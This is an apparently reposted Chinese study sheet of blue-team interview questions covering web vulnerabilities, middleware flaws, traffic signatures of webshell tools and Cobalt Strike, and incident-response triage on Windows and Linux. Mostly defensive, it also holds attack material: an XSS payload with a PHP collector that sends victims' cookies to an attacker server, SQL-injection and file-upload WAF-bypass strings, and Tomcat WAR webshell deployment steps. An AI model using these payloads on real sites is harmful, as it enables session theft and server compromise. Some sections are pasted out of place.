HVV蓝队常见面试题

发布时间 2023-07-10 18:12:24作者: 守门元

Hvv蓝队常问面试题

原创 离 [Poker安全](javascript:void(0)? 2023-06-21 16:29 发表于上海

主要的Web漏洞

SQL注入漏洞

SQL注入原理

网站数据过滤不严格,过分信赖用户输入的数据,没有过滤用户输入的恶意数据,
无条件的把用户输入的数据当作SQL语句执行,因此导致sql注入漏洞产生。

SQL注入分类

以有无闭合字符分类:字符型、整数型
以数据传输方式分类:post类型、get类型
注入方式细分:联合查询注入、报错型注入、布尔型盲注、时间型盲注、宽字节注入

报错注入常用函数:

UpdateXML()  
Floor()
Extractvalue()
exp()

mysql默认存在的哪个数据库,注入时经常用到?

Information_schema

时间型盲注特点?常用函数?易受到什么影响?

场景:应用于无数据回显,无报错,布尔型盲注失效后  
特点:时间型盲注页面没有明显的回显,只能根据页面刷新时间的长短来去判断构造语句是否正确;
常用函数: sleep函数  if条件语句 等
易受网络波动影响

布尔型盲注特点?常用函数?

特点:根据页面正确和错误的两种状态,来判断构造语句是否正确
常用函数:length()   #用以猜测数据返回字符串的长度
Sunstr()   #截取字符串
Mid()     #取出字符串的一部分值
Left()     #取出字符串左边的几个数据
Ascii()     #返回一个字符的ascii码值

SQL手注的一般步骤

判断注入类型
判断注入点提交方式
使用order by语句查询数据库有多少字段
使用联合查询来查询 union select   
User()   当前用户   
Database()    数据库   
Version()     数据库版
本查询数据库中的表、列和值

宽字节注入

有些waf会在我们的提交数据前会被加入\,\的编码为%5,我们在后面加上%df后变为了%df%5c,
变成一个繁体汉字運,变成了一个有多个字节的字符。
因为用了gbk编码,使这个为一个两字节,绕过了单引号闭合,逃逸了转义。

SQL注入绕waf姿势

1、函数大小写混合绕过: 
可以绕过的原因:服务器端检测时未开启大小写不敏感
2、多重关键字绕过可以绕过的原因:
服务器端检测到敏感字符时替换为空 形式:ununionion selselectect
3、编码绕过可以绕过的原因:
服务器端未检测或检测不严具有编码形式的关键字
编码类型:十六进制编码、URL编码、Unicode编码
4、注释绕过
可以绕过的原因:服务器端未检测或检测不严注释内的字符串
注释形式: 形式:/**/,/*!*/,/*!12345*/,#,-- -等
5、等价函数或命令绕过
可以绕过的原因:服务器端黑名单不完整,过滤不严
等价函数形式:Mysql查询:Union distinct、updatexml、Extractvalue、floor
字符串截取函数:mid、substr、substring、left、reverse
字符串连接函数:concat、group_concat、concat_ws
字符串转换:char、hex、unhex
替换逗号:limit 1 offset 0,mid(version() from 1 for 1)
替换等号:like
6、特殊符号绕过绕过原因:数据库中效果相同,服务器端却没有
限制形式:科学记数法 and 1e0 = 1e0
空白字符 %0a %a0 %0b %20 %09
反单引号 `table_name`
括号 select * from (test.admin)
7、组合绕过可以绕过原因:
服务器端检测多处位置,需要多重绕过方式组合使用
形式:id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3

SQL注入漏洞挂马利用成功的条件?(sql注入挂马)

支持联合查询
知道网站的绝对路径
上传马的路径允许写入文件
木马上传上去后能够被解析执行。
能够找到木马上传上去以后的位置。

sqlmap挂马用什么参数?原理?

--os-shell    
内置了一个方法select  * into  dumpfile,这个方法可以写入一个文件。

SQL注入漏洞如何防御?

过滤恶意字符和函数(select  union  orderby)过滤或转义单引号双引号
使用参数化的语句来传递用户输入的变量
SQL预编译也可以预防

SQL预编译原理(PreparedStatement)

预编译语句PreparedStatement 是java.sql中的一个接口,它是Statement的子接口。
通过Statement对象执行SQL语句时,需要将SQL语句发送给DBMS,由DBMS首先进行编译后再执行。

(预编译语句创建对象时就指定了sql语句)预编译语句和Statement不同,
在创建PreparedStatement 对象时就指定了SQL语句,该语句立即发送给DBMS进行编译。
当该编译语句被执行时,DBMS直接运行编译后的SQL语句,而不需要像其他SQL语句那样首先将其编译。
预编译的SQL语句处理性能稍微高于普通的传递变量的办法。

SQL注入getshell

web目录具有写权限,能够使用单引号
知道网站绝对路径
secure_file_priv没有具体值(在mysql/my.ini中查看)

文件上传漏洞

文件上传漏洞原理

开发人员未在文件上传点对文件名和文件内容做严格的过滤
导致用户可以上传恶意脚本到服务端。

文件上传漏洞一般上传什么马?

符合网站语言环境的一句话、冰蝎、大马等等

文件上传绕waf方式

绕过黑名单(大小写绕过)、
绕过白名单%00截断(可以配合中间件漏洞)
绕过前端验证(burp抓包修改Content-Type: 为允许的字段)
对文件内容进行绕过

文件上传常用方式

当你进行文件上传时,发现网站是iis服务器你会上传什么后缀类型的马?
asp或者aspx
当你上传asp的脚本文件时上传不上去,你会上尝试再上传什么类型的后缀文件?为什么上传此类后缀的文件?
脚本我会尝试将文件后缀名改为asa或者cdx或者cer尝试进行上传;
IIS服务器开启了文件后缀扩展功能
当你发现上传服务器是apache服务器,你会尝试上传什么后缀的马?
php
当你发现上传服务器中间件是tomcat中间件,你会尝试上传什么后缀的马?
Jsp
当你发现上传服务器中间件是weblogic中间件,你会尝试上传什么后缀的马?
Jsp
当你发现上传服务器中间件是nginx,你会尝试上传什么后缀的马?
Php

文件上传漏洞防护

常见的防护措施比如文件类型可以通过白名单或者黑名单进行判断
当文件上传后对文件进行重命名呀,限制上传文件大小等
白名单比黑名单要更安全一些

文件上传绕waf

1、文件名大小写绕过
用像 AsP,pHp 之类的文件名绕过黑名单检测
2、名单列表绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类
3、特殊文件名绕过
比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格)
这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,
会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。
4、htaccess 
文件配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测
5、写入方法
首先名字为1.php:jpg,会写入一个1.php的空文件,然后再上传一个文件,
然后修改名字为3.<<<这样就会把我们这个文件的内容写入到我们上传的那个1.php空文件中
6、截断绕过上传
1.php .jpg 空格二进制20改为00

还有一些图片木马之类的,需要结合文件包含漏洞来解析

xss漏洞(跨站脚本)

xss漏洞原理

前提:
当应用程序没有对用户提交的内容进行验证和重新编码而是直接呈现给网站的访问者时,就可能会触发XSS攻击

原理:
攻击者利用相应的漏洞,在页面中嵌入JS脚本,用户访问含恶意脚本代码的页面或打开收到的URL链接时,
用户浏览器自动加载执行恶意代码,达到攻击的目的。

防护手段

过滤危险字符,输入长度限制
HTML实体编码
使用黑名单
对于反射型和存储型:
可以在数据返回客户端浏览器时,将敏感字符进行转义;
对于DOM型,可以使用上下文敏感数据编码。

xss类型有哪些?哪种类型危害最大?

存储型、dom型、反射型
存储型危害最大

**XSS分类 **

反射型:经过后端,不经过数据库;
存储型:经过后端,经过数据库;
DOM型:不经过后端。
反射型是一次性的,用户访问带xss代码的请求时,服务器接受请求并处理,
之后将带有xss代码的数据返回给浏览器,浏览器解析执行;
存储型中提交的恶意内容会被永久存储在数据库,攻击行为伴随攻击数据一直存在;
DOM型的触发基于浏览器对DOM数据的解析来完成,完全是客户端的事。

如何用xss(反射型)获取用户的cookie值

首先写一段js脚本,会用到document.get【cookie值】,然后把这个恶意脚本
放到网站中的一些地方诱骗点击,点击后cookie值会被传送到我的电脑中来。

在自己的vps上放入如下代码:

<?php    $cookie = $_GET['cookie']; 
file_put_contents("cookie.txt",$cookie); 
echo '已成功获取cookie信息';?>

payload:<script>document.location="
http://xxx.xxx.xxx.xx/cookie.php?cookie="+document.cookie;</script>

CSRF漏洞(跨站请求伪造)

CSRF漏洞原理

利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,
受害人不知情的情况下会以受害者的身份向服务器发送请求,从而完成非法操作。

CSRF漏洞修复

验证http头的referer:仅响应referer头带本域的请求
请求地址中添加token验证
使用localstorage和sessionstorage保存会话

CSRF类型

get请求型csrf:
只需要构造url,然后诱导受害者访问

post请求型csrf:
构造自动提交的表单,诱导受害者访问或者点击。

与ssrf的区别

csrf 
是指攻击者盗用了你的身份,以你的名义发送恶意请求,例如发送邮箱,盗用账户,购买商品等。

ssrf 
是指大型网站web应用上提供了从其他服务器获取数据的功能,攻击者利用有缺陷的web应用作为代理远程攻击。

SSRF漏洞(服务端请求伪造)

SSRF漏洞原理:

服务端提供了从其他服务器获取数据的功能,但是没有对目标地址进行过滤和限制。
比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。

一般情况下,我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务,
但是如果没有对这个请求的目标地址、文件等做充足的过滤和限制,攻击者可通过篡改这个请求的目标地址来进行伪造请求。

SSRF漏洞修复:

url白名单(限制不能访问内网的ip)
过滤返回信息
统一错误信息
限制请求端口只能为web端口,只允许访问http和https的请求;

ssrf利用

1、可以对服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息
2、攻击运行在内网或本地的应用程序(比如溢出)
3、对内网web应用进行指纹识别,通过访问应用存在的默认文件实现;
4、攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2漏洞利用等)
5、利用file协议读取本地文件
6、利用Redis未授权访问,HTTP CRLF注入达到getshell
7、DOS攻击(请求大文件,始终保持连接keep alive always)等等

绕过姿势

(绕黑名单)进制转换ip
(绕白名单)使用@在主机名之前的url中嵌入凭据;
302跳转;
DNS重绑定

xxe漏洞(外部实体注入)

原理

一些配置不当的xml处理器会对外部实体进行引用,如果攻击者可以上传xml文档或在xml文档中添加恶意内容,
通过易受攻击的代码就能攻击包含缺陷的xml处理器。

利用方式

任意文件读取、系统命令执行、内网端口探测、攻击内网网站、钓鱼

修复防御:

使用开发语言提供的禁用外部实体的方法;
过滤提交的xml数据;(过滤SYSTEM等敏感关键字)

http请求方法

方法(Method) 含义
GET 请求读取一个Web页面
POST 上传一个资源(如Web页面)
DELETE 删除Web页面
CONNECT 用于代理服务器
HEAD 请求读取一个Web页面的头部
PUT 请求存储一个Web页面
TRACE 用于测试,要求服务器送回收到的请求
OPTION 查询特定选项

中间件漏洞

存在目录遍历漏洞的中间件有哪些?

IIS、Apache、Nginx

哪些存在war后门文件部署?

Tomcat、Weblogic、JBoss

iis

Put漏洞(本质是任意文件上传)

原理:IIS开启了WebDAV配置了可以写入的权限,造成了任意文件上传漏洞。

防御:关闭webDAV;关闭写入权限

解析漏洞

原理:
6.0版本默认将*.asp;.jpg此类格式的文件名,当成asp解析,服务器默认;
后面的内容不解析,相当于截断,例如上传asp木马,就可以用xx.asp;.jpg来绕过;
iis除了会将asp解析成脚本执行文件之外,还会将cer、cdx、asa扩展名解析成asp。
防御方法:
禁止上传和创建此类畸形文件
图片存放目录设置为禁止脚本执行

Apache

解析漏洞(未知拓展名解析漏洞)

原理
Apache默认一个文件可以有多个以点切割的后缀,当最右的后缀无法识别时,就继续向左识别,
直到识别到合法后缀才开始解析,如xxx.php.qqq,qqq无法识别,就继续解析,到php时能够识别,就解析为php文件

目录遍历

原理:
程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
这里的目录跳转符可以是../,也可是../的ASCII编码或者是unicode编码等
目录遍历的标志
Index of /
防御措施:
修改httpd.conf文件中的参数

Tomcat

弱口令+war后门文件部署

原理:
Tomcat如因配置不当导致未授权直接登录后台,或者由于弱口令的存在,登录后台可以在后台上传war包,
我们可以将jsp代码植入到war包里面,然后访问该war包即可执行jsp代码。
war包制作命令,在jdk目录下执行:jav cvf shell.war 1.jsp,完成制作
同时msf的exploit/multi/http/tomcat_mgr_upload模块可以执行此操作

原理2:

在tomcat-users.xml中定义了tomcat用户的信息与权限,
弱口令得到后访问http://127.0.0.1:8080/manager/html
打开管理页面,输入用户名密码登录后台,用“WAR file to deploy”上传挂马。
之后访问一句话木马即可

put任意文件上传

原理:
tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传;
因此我们需要配合windows的解析漏洞:
适用诸如 1.jsp%20 、 1.jsp::$DATA 则可以成功绕过检测上传成功
注意:若是linux + tomcat5.0~9.0 ,可以上传1.jsp/绕过

nginx

文件解析漏洞

原理:
用户配置不当造成的解析漏洞。由于nginx.conf的如下配置导致nginx把以‘.php’结尾的文件交给fastcgi处理,
对于任意文件名,在后面添加/xxx.php(xxx)为任意字符后,即可将文件作为php解析。

例如:在1.jpg中写入一句话木马,上传1.jpg/xxx.PHP
防御手段:
将php.ini文件中的cgi.fix_pathinfo的值设置为0
php-fpm.conf中的security.limit_extensions后面的值设置为.php

目录遍历

原理:
Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。
(程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转,
来遍历服务器上的任意文件、这里的目录跳转符可以是../,也可是../的ASCII编码或者是unicode编码等)
修复
将nginx.conf中的autoindex  on 中的“on”改为“off”

研判常问面试题

常见webshell管理工具交互流量特征都有哪些?

1、菜⼑特征:
PHP类WebShell流量中eval函数用于执行传递的攻击payload,流量参数z0、z1、z2

2、冰蝎3.0:
默认内置 16个user-agentcontent-type为application/octet-stream

3、蚁剑:
PHP类WebShell流量最中明显的特征为@ini_set ("display_errors","0");

菜刀特征

默认的webshell中链接密码都是caidao,ua头为百度爬虫、请求体中存在eavl,base64等特征字符
响应包中包含X@Y、php的webshel中流量参数z0、z1、z2

冰蝎3.0

默认内置 16 个 user-agent,content-type为application/octet-stream** 
请求包中content-length 为5740或5720(可能会根据Java版本而改变)
**每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache**

冰蝎2.0

建立连接后 所有请求 **Cookie的格式都为: Cookie: PHPSESSID=; path=/;**
静态分析:
各种语言的webshell中都会存在**16位数的连接密码**,默认变量为key

冰蝎3.11流量特征

header头顺序是颠倒的
发送包是base64,返回包是字节数组,所以会乱码
如果冰蝎密码不对,会出现两个连接,第一个是post 第二个是get 
1. content-type为application/octet-stream ,请求包中content-length 为5740或5720(可能会根据Java版本而改变),
每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache
2.异常User-Agent---- 出现WOW64等
3. 频繁访问默认的路径/conn.jsp

蚁剑

PHP 类 WebShell流量最中明显的特征为 @ini_set ("display_errors","0");
同时会带有base64编码解码等字符特征, **每个请求体都存在@ini_set(“display_errors”, “0”);
@set_time_limit(0)开头**。并且存在base64等字符,响应包的结果返回格式为 随机数 结果 随机数

哥斯拉:

不修改User-Agent,User-Agent会类似于Java/1.8.0_121(具体什么版本取决于JDK环境版本)
在请求包的Cookie中有一个非常致命的特征,最后的分号‘;’,标准的HTTP请求中最后一个Cookie的值是不应该出现;的

请求包的特征

 “pass=”起始
 请求包较长 响应包为0
 一个tcp包里面有三个http

响应包特征

整个响应包的结构体征为:md5前十六位+base64+md5后十六位

哥斯拉4.0.1中JAVA_AES_BASE64特征流量特征

host头
密码和base64字符串是密码=base64字符串的形式
发送包是密码=bae64字符串的形式,返回包是类base64字符串的格式
1、对称加密算法:JAVA_AES_BASE64是哥斯拉4.0.1使用的对称加密算法;
因此可以根据哥斯拉4.0.1的流量中是否包含JAVA_AES_BASE64来判断是否为哥斯拉4.0.1攻击流量
2、长度固定:哥斯拉4.0.1使用JAVA_AES_BASE64算法对数据进行加密后,加密后数据的长度是固定的
因此,可以根据攻击流量的长度是否固定来判断是否为哥斯拉4.0.1攻击流量
3、常见数据前缀:哥斯拉4.0.1加密的数据在明文数据前会添加特定的前缀;
因此,可以根据攻击流量中是否包含常见的数据前缀来判断是否为哥斯拉4.0.1攻击流量。

内存马

先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志
如果是filter或者listener类型就会有**大量url请求路径相同参数不同的,或者页面不存在但是返回200的**,
查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合
通过查找**返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马**
如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,
排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据-
业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

java内存马类型

filter、listener、servlet、websocket、javaagent

shiro反序列化漏洞原理?

浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,
下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,
导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。
在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程: 
命令=>序列化=>AES加密=>base64编码=>RememberMe 
Cookie值在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了

shiro550与shiro721的区别

这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库(条件较低),不需要Remember Cookie

Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,
即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,
然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击,难度较高。

流量层面分析shiro反序列化漏洞是否攻击成功?

1、在HTTP请求头Cookie里出现rememberMe字段以及可能出现自定义类型
例如c: aWQ=,响应体中出现大量编码字符串,若需要判断是否攻击成功,
需对请求数据和响应体内容进行解密判断
2、检查请求头中的"rememberMe" cookie。攻击者可能会在此处插入恶意序列化数据
3、观察服务器响应。如果服务器返回了异常错误信息,如Java反序列化异常,可能表明攻击成功
分析应用程序日志:如果日志中出现了异常堆栈跟踪,可能表明攻击成功
例如,攻击者发送了一个包含恶意序列化数据的请求,服务器响应了一个包含Java反序列化异常的错误信息这可能表明攻击成功。

在发生命令执行攻击时,如何判断是struts2漏洞执行命令?

1、在请求头中存在OGNL表达式,一般在url中会出现的攻击特征主要是:.action?method | ?redirect:$ 
在conten-type中出现的攻击特征主要有:%{#context 、在报文体中出现的攻击特征主要有:#_memberAccess 等
2、判断请求中是否包含特定的 Struts2 关键字,如"method:"、"redirect:"等,这些关键字可能是用于执行命令的操作;
3、检查请求中是否包含"Content-Type"头字段,并且值为"application/x-www-form-urlencoded",这是 Struts2 框架默认的 Content-Type 值,用于处理 POST 请求;
4、检查请求参数中是否包含OGNL表达式,如"${}"、"%{}"等字符;
5、检查请求是否包含一个名为"class"的参数,值为"java.lang.Runtime",这个参数可以用于执行系统命令

如何在流量层面分析struts2命令执行是否成功

查看请求头或请求体中是否含有OGNL表达式,Struts2 命令执行的原理是通过 Ognl 表达式执行 java 代码
查看请求头或请求体中是否存在命令执行类代码
查看响应体是否返回上述命令执行的结果

威胁情报类告警产生误报的原因是什么?

防火墙、邮件网关有发起黑域名解析的行为可能是误报
威胁情报失效了

如何分析文件上传告警是否攻击成功?

查看响应体响应结果判断服务器是否接受了该上传请求,上传成功通常状态码为200,查看响应体中是否响应了上传路径,访问该上传路径查看文件是否被解析是否存在
通过查看态势感知日志判断文件是否落地
登陆受害者主机全局搜索上传文件

如何判断Cobalt Strike攻击流量?

1、http-beacon通信中,默认使用get方法向/dpixel、/__utm.gif、/pixel.gif等地址发起请求,同时请求头存在cookie字段并且值为base64编码
2、dns-beacon通信中,默认使用cdn.、www6.、api.、www.、post.为开头发起dns请求,并且查询结果伴随0.0.0.0、0.0.0.80、0.0.0.241等非常规IP
3、心跳包间隔一定时间,均有通信,且流级上的上下行数据长度固定
4、常见User-Agent:Cobalt Strike通常使用自定义的User-Agent字符串,例如Mozilla/5.0 (Windows NT 10.0; Win64; x64) Cobalt Strike
5、命令和控制流量:Cobalt Strike的HTTP请求中可能包含与C2服务器通信的命令和控制信息,这些信息在正常的Web请求中不会出现。

发生挖矿木马事件通过流量层面如何判断真实性?

1、通信端口:挖矿木马可能会使用特定的端口进行通信。例如,Monero挖矿木马通常会使用TCP端口3333或5555进行通信
2、通信流量:挖矿木马的通信流量可能会具有特定的特征,例如大量的高速数据传输和周期性的通信,
在数据包中可以看到大量的计算资源使用信息和挖矿结果信息
3、进程和文件系统:挖矿木马可能会创建特定的进程和文件来执行挖矿操作。例如,Monero挖矿木马通常会在操作系统上创建名为"xmrig"的进程,
并在文件系统上创建名为"config.json"的配置文件
4、系统资源:挖矿木马可能会占用系统资源,例如CPU和内存,并可能导致系统崩溃或变得缓慢。
5、判断流量的数据:挖矿木马通常会在通信中发送一些特定的数据,例如挖矿难度、钱包地址、挖矿程序版本等
如果流量中存在这些数据,就可能存在挖矿木马
6、看数据包的详细信息,看终端或者服务器是否有与矿池交互的信息,
判断是否存在登录到矿池(method“:”login“)、从矿池接收任务(”method“:”job“)字段,
在载荷内容中是否存在ok、success等字段

Apache Log4j2 远程代码执行漏洞原理?

Apache Log4j2 框架中存在一个名为 JNDI Lookup 的功能,它允许通过配置文件中的 JNDI 名称引用外部资源。
攻击者构造一个特殊的日志消息,其中包含恶意的 JNDI 名称,并通过网络发送给受影响的应用程序。
当应用程序使用 Log4j2 框架解析日志消息时,它会尝试查找和引用该 JNDI 名称。
如果恶意的 JNDI 名称指向一个恶意的远程资源,例如恶意的 LDAP 服务器或 RMI 服务,攻击者可以控制该远程资源的内容和行为。
攻击者可以在恶意的远程资源中注入恶意代码,并在目标系统上执行任意命令或获取敏感信息。

流量层面分析Apache Log4j2 远程代码执行漏洞是否攻击成功?

1、dnslog类:查看是否存在源ip与dnslog的外联日志记录
2、命令执行攻击
有回显:响应体中存在命令执行结果
无回显:存在源ip与ldap服务ip的外联日志记录

已知攻击者IP,如何溯源定位攻击人员?

1、IP反查注册信息,可能会查询到域名,通过域名查询备案和whois信息,可能会查出邮箱电话,通过社工库查询相关邮箱和电话信息定位人员支付宝,微信转账;微博,百度贴吧等
2、通过白泽系统查询IP标记情况,查看攻击者IP日常访问数据内容,判断攻击者人员信息

安全设备发现一台Linux主机触发挖矿告警,上机排查该机器执行ps,top命令未发现挖矿及恶意进程,现在怀疑ps,top命令被替换,动态链接库被劫持,请问应该如何处理?

1、使用cat /etc/ld.so.preload命令查看动态链接库文件是否加载有so文件,提取加载的so文件上传至威胁情报平台,判断是否为恶意so文件
2、清除so文件,使用ldconfig命令重新加载动态链接库,执行ps,top命令查看是否可以发现挖矿进程信息
3、确认ps和top命令是否被替换:可以使用命令"which ps"和"which top"查看这两个命令的路径是否为系统默认路径"/bin/ps"和"/usr/bin/top",
如果不是则说明被替换。也可以通过比较ps和top命令的md5值来判断是否一致。
4、确认动态链接库是否被劫持:可以使用命令"ldd /bin/ps"和"ldd /usr/bin/top",
查看这两个命令依赖的动态链接库是否正常,如果有动态链接库被替换,则会发现其中一些动态链接库路径不对
5、恢复被替换的命令和动态链接库:如果确认被替换,可以从系统安装介质或官方网站上下载对应版本的ps和top命令和动态链接库,替换掉被替换的文件即可。
6、检查系统安全:替换命令和动态链接库只是暂时的措施,需要进一步排查系统安全状况,比如查杀恶意程序、加强访问控制、更新系统补丁等,以防止类似问题再次发生
7、借助工具busybox

如何分析排查钓鱼邮件事件?

确认邮箱批量发送时间点
排查邮箱登录日志,发现【恶意IP】在【什么时间】通过web登录成功;
查看邮件内容,确认钓鱼邮件的影响和目的;
排查浏览器或上网行为,判断是否访问过钓鱼页面;
对访问过的设备进行全盘查杀
分析邮件头部,查看邮件的原始头部信息,检查发件人的真实地址、邮件服务器的来源、邮件传输路径等
注意查看"Received"字段,查看是否存在异常的邮件转发或代理
分析链接与附件,添加至黑名单
查看有多少内网ip访问过这个链接或者ip,双向排查

如何研判sql注入类型告警事件?

排除302、404、301、502,非200状态码
判断请求包内相关的sql语句是否为恶意的SQL语句
判断响应体内是否包含数据库敏感信息,或者系统信息。

如何研判JBOSS 反序列化漏洞攻击成功?

在访问JBOSS漏洞页面/invoker/readonly后,返回值为500
请求体有llections.map.LazyMap、keyvalue.TiedMapEntry攻击链特征并且有明显的命令执行行为。比如whoami
在返回500 堆栈报错页面内容中包含了系统返回内容 比如系统用户:root

如何研判Fastjson反序列化漏洞攻击成功?

请求头:method: POST content_type: application/json
请求体:data:com.sun.rowset.JdbcRowSetImpl,dataSourceName,@type
请求体: 包含攻击者C2服务器地址
状态码为:400  也可能是500
通过态势感知平台进行回溯分析,在分析中心输入语法:(sip:(失陷服务器IP) OR sip:(攻击者C2IP)) AND (dip:(失陷服务器IP) OR dip:(攻击者C2IP))

应急响应常问面试题

常见的应急响应事件分类

web入侵:网页挂马、主页篡改、Webshell
系统入侵:病毒木马、勒索软件、远控后门
网络攻击:DDOS攻击、DNS劫持、ARP欺骗

基本思路流程

收集信息:收集客户信息和中毒主机信息,包括样本
判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等
抑制范围:隔离使受害⾯不继续扩⼤
深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源
清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产
产出报告:整理并输出完整的安全事件报告

Windows入侵排查思路:

1.检查系统账号安全
2.查看服务器是否有弱口令,远程管理端口是否对公网开放(使用netstat -ano 命令、或者问服务器管理员)
3.lusrmgr.msc 命令查看服务器是否存在可疑账号、新增账号,如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉
4.用 D 盾或者注册表中查看服务器是否存在隐藏账号、克隆账号
5.结合日志,查看管理员登录时间、用户名是否存在异常
6.检查方法:Win+R 打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”,导出 Windows 日志–安全,利用 Log Parser 进行分析

检查异常端口、进程

netstat -ano检查端口连接情况,是否有远程连接、可疑连接
任务管理器-进程
检查启动项、计划任务、服务
查看系统版本以及补丁信息
查找可疑目录及文件
日志分析
自动化查杀

Linux入侵排查思路

建立连接后 所有请求 **Cookie的格式都为: Cookie: PHPSESSID=; path=/;**
静态分析:
各种语言的webshell中都会存在16位数的连接密码,默认变量为key
who查看当前登录用户(tty本地登陆 pts远程登录)
w  查看系统信息,想知道某一时刻用户的行为
uptime查看登陆多久、多少用户,负载
1、用户信息文件/etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell
注意:无密码只允许本机登陆,远程不允许登陆
2、影子文件/etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
3、/etc/passwd 存储一般的用户信息,任何人都可以访问;/etc/shadow 存储用户的密码信息,只有 root 用户可以访问
4、检查计划任务
检查方法:
a、单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径
b、单击【开始】>【运行】;输入 cmd,然后输入at,检查计算机与网络上的其它计算机之间的会话或计划任
务,如有,则确认是否为正常连接
5、服务自启动:
检查方法:单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型,检查是否有异常服务
6、自动化查杀
病毒查杀:
检查方法:下载安全软件,更新最新病毒库,进行全盘扫描
webshell查杀:
检查方法:选择具体站点路径进行webshell查杀,建议使用两款webshell查杀工具同时查杀,可相互补充规
则库的不足、例如:D盾、CloudWalker

基本历史命令

通过.bash_history查看帐号执行过的系统命令
1、root的历史命令
histroy
2、打开/home各帐号目录下的.bash_history,查看普通帐号的历史命令
系统信息:
查看当前系统状态 top
操作系统信息 uname -a
查看当前系统进程信息 ps
查看历史命令 history
列出本机所有的连接和监听的端口 netstat
查看谁在使用某个端口 lsof

用户登录:
查看当前用户登录系统情况 who
分析超级权限账户 awk-F:‘{if($3==0)print $1}’/etc/passwd
查看可登录的账户 cat/etc/passwd|grep ‘/bin/bash’
查看用户错误的登录信息 lastb
查看所有用户最后的登录信息 lastlog
查看用户最近登录信息 last
/var/log/ 其中,/var/log/wtmp 存储登录成功的信息、btmp存储登录失败的信息、utmp存储当前正在登录的信息
查看空口令账户 awk-F:‘length($2)==0 {print $1}’/etc/shadow

检查异常端口

netstat -antlp|more
查看下pid所对应的进程文件路径,
运行ls -l /proc/$PID/exe或file /proc/$PID/exe($PID 为对应的pid 号)

检查异常进程

ps aux | grep pid

检查开机启动项

开机启动配置文件
/etc/rc.local
/etc/rc.d/rc[0~6].d

检查定时任务

crontab -l 列出某个用户cron服务的详细内容
Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root
crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务)
crontab -e 使用编辑器编辑当前的crontab文件
/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件
2、利用anacron实现异步定时任务调度

重点关注

/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

检查服务

chkconfig --list 命令,可以查看系统运行的服务
检查异常文件
检查系统日志

Linux的登录日志查看文件

日志默认存放位置:/var/log/
查看可登录的账户 cat/etc/passwd|grep ‘/bin/bash’
查看所有用户最后的登录信息 lastlog
查看用户最近登录信息 last 其中,/var/log/wtmp 存储登录成功的信息、btmp 存储登录失败的信息、utmp 存储当前正在登录的信息
查看当前用户登录系统情况 who

日志分析

系统日志
分析方法:
a、前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的
信息等
b、Win+R打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”
